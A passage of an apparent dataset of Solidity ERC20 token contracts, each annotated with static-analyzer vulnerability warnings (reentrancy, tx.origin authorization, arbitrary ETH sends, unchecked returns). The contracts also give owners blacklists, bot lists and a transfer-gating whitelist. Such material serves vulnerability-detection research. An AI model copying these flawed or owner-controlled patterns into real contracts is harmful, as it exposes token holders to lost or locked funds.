_maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a7c61b5): EmilyMonster.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for a7c61b5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: eadfec1\n\t\t// reentrancy-events | ID: 7f28e1f\n\t\t// reentrancy-eth | ID: d2bd4dc\n\t\t// arbitrary-send-eth | ID: a7c61b5\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cc4947e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cc4947e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ed95e0d): EmilyMonster.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ed95e0d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6cd7abd): EmilyMonster.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6cd7abd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c758ffd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c758ffd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: cc4947e\n\t\t// reentrancy-eth | ID: c758ffd\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: cc4947e\n\t\t// unused-return | ID: 6cd7abd\n\t\t// reentrancy-eth | ID: c758ffd\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: cc4947e\n\t\t// unused-return | ID: ed95e0d\n\t\t// reentrancy-eth | ID: c758ffd\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: cc4947e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c758ffd\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10742.sol",
"size_bytes": 20267,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n\t\t\t// reentrancy-no-eth | ID: c8fb081\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n\t\t\t\t// reentrancy-no-eth | ID: c8fb081\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n\t\t\t\t// reentrancy-no-eth | ID: c8fb081\n _totalSupply -= value;\n }\n } else {\n unchecked {\n\t\t\t\t// reentrancy-no-eth | ID: c8fb081\n _balances[to] += value;\n }\n }\n\n\t\t// reentrancy-events | ID: a70ca46\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function WETH() external pure returns (address);\n\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function factory() external pure returns (address);\n}\n\ninterface IUniswapV2Pair {\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ncontract BrillianceMars is ERC20, Ownable {\n bool public whitelistEnabled = true;\n\n uint256 public constant MAX_PURCHASE_LIMIT_ETH = 0.1 ether;\n\n mapping(address => bool) public isWhitelisted;\n\n mapping(address => bool) public isBlacklisted;\n\n mapping(address => uint256) public totalPurchases;\n\n mapping(address => bool) public isTaxExempt;\n\n uint256 public constant BUY_TAX = 1;\n\n uint256 public constant SELL_TAX = 1;\n\n address public constant taxWallet =\n 0x5CB3a8fC0c37a8E24d665a0C8Da7b82aD3900c69;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n address public immutable uniswapV2Pair;\n\n bool private inSwap = false;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor()\n ERC20(\"BrillianceMars Inu\", \"BrillianceMars\")\n Ownable(msg.sender)\n {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n address factoryAddress = uniswapV2Router.factory();\n\n uniswapV2Pair = IUniswapV2Factory(factoryAddress).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n isWhitelisted[msg.sender] = true;\n\n isTaxExempt[msg.sender] = true;\n\n _mint(msg.sender, 420690000000 * 10 ** 18);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a70ca46): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a70ca46: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 3e49589): BrillianceMars._update(address,address,uint256) uses tx.origin for authorization require(bool,string)(isWhitelisted[tx.origin],Sender not whitelisted)\n\t// Recommendation for 3e49589: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 8b76a52): BrillianceMars._update(address,address,uint256) uses tx.origin for authorization ! isTaxExempt[tx.origin]\n\t// Recommendation for 8b76a52: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: c8fb081): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for c8fb081: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _update(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n require(\n !isBlacklisted[sender] && !isBlacklisted[recipient],\n \"Blacklisted address\"\n );\n\n if (whitelistEnabled) {\n\t\t\t// tx-origin | ID: 3e49589\n require(isWhitelisted[tx.origin], \"Sender not whitelisted\");\n\n if (sender == address(uniswapV2Pair)) {\n uint256 ethAmount = getETHAmountFromTokens(amount);\n\n require(\n totalPurchases[recipient] + ethAmount <=\n MAX_PURCHASE_LIMIT_ETH,\n \"Exceeds total purchase limit\"\n );\n\n totalPurchases[recipient] += ethAmount;\n }\n }\n\n uint256 taxAmount = 0;\n\n\t\t// tx-origin | ID: 8b76a52\n if (!isTaxExempt[tx.origin]) {\n if (sender == uniswapV2Pair) {\n taxAmount = (amount * BUY_TAX) / 100;\n } else if (recipient == uniswapV2Pair) {\n taxAmount = (amount * SELL_TAX) / 100;\n }\n }\n\n if (taxAmount > 0) {\n super._update(sender, address(this), taxAmount);\n\n amount -= taxAmount;\n\n if (!inSwap && recipient == uniswapV2Pair) {\n\t\t\t\t// reentrancy-events | ID: a70ca46\n\t\t\t\t// reentrancy-no-eth | ID: c8fb081\n swapTokensForEth();\n }\n }\n\n\t\t// reentrancy-events | ID: a70ca46\n\t\t// reentrancy-no-eth | ID: c8fb081\n super._update(sender, recipient, amount);\n }\n\n function swapTokensForEth() private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(\n address(this),\n address(uniswapV2Router),\n IERC20(address(this)).balanceOf(address(this)),\n true\n );\n\n\t\t// reentrancy-events | ID: a70ca46\n\t\t// reentrancy-no-eth | ID: c8fb081\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n IERC20(address(this)).balanceOf(address(this)),\n 0,\n path,\n taxWallet,\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 08701f0): BrillianceMars.getETHAmountFromTokens(uint256) ignores return value by (reserve0,reserve1,None) = pair.getReserves()\n\t// Recommendation for 08701f0: Ensure that all the return values of the function calls are used.\n function getETHAmountFromTokens(\n uint256 tokenAmount\n ) private view returns (uint256) {\n address tokenAddress = address(this);\n\n address WETHAddress = uniswapV2Router.WETH();\n\n IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);\n\n\t\t// unused-return | ID: 08701f0\n (uint112 reserve0, uint112 reserve1, ) = pair.getReserves();\n\n (uint112 tokenReserve, uint112 wethReserve) = tokenAddress < WETHAddress\n ? (reserve0, reserve1)\n : (reserve1, reserve0);\n\n return\n uniswapV2Router.getAmountOut(\n tokenAmount,\n tokenReserve,\n wethReserve\n );\n }\n\n function disableWhitelist() external onlyOwner {\n whitelistEnabled = false;\n }\n\n function enableWhitelist() external onlyOwner {\n whitelistEnabled = true;\n }\n\n function addToWhitelist(address account) external onlyOwner {\n isWhitelisted[account] = true;\n }\n\n function removeWhitelist(address account) external onlyOwner {\n isWhitelisted[account] = false;\n }\n\n function addToBlacklist(address account) external onlyOwner {\n isBlacklisted[account] = true;\n }\n\n function removeBlacklist(address account) external onlyOwner {\n isBlacklisted[account] = false;\n }\n\n function addToWhitelistBatch(\n address[] calldata accounts\n ) external onlyOwner {\n for (uint i = 0; i < accounts.length; i++) {\n isWhitelisted[accounts[i]] = true;\n }\n }\n\n function setTaxExemptStatus(\n address account,\n bool status\n ) external onlyOwner {\n isTaxExempt[account] = status;\n }\n\n function rescueETH() public onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 631f307): BrillianceMars.rescueERC20(address) ignores return value by rescueToken.transfer(owner(),rescueToken.balanceOf(address(this)))\n\t// Recommendation for 631f307: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address tokenAddress) public onlyOwner {\n IERC20 rescueToken = IERC20(tokenAddress);\n\n\t\t// unchecked-transfer | ID: 631f307\n rescueToken.transfer(owner(), rescueToken.balanceOf(address(this)));\n }\n}\n",
"file_name": "solidity_code_10743.sol",
"size_bytes": 17455,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fb92c16): asdfmovie.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for fb92c16: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 05ef735\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 05ef735\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 8e52264\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5cd0e66\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8e52264\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Burn(\n address indexed sender,\n uint256 amount0,\n uint256 amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function burn(\n address to\n ) external returns (uint256 amount0, uint256 amount1);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IAntiDrainer {\n function isEnabled(address token) external view returns (bool);\n\n function check(\n address from,\n address to,\n address pair,\n uint256 maxWalletSize,\n uint256 maxTransactionAmount,\n uint256 swapTokensAtAmount\n ) external returns (bool);\n}\n\nstruct TaxAddressChange {\n bool 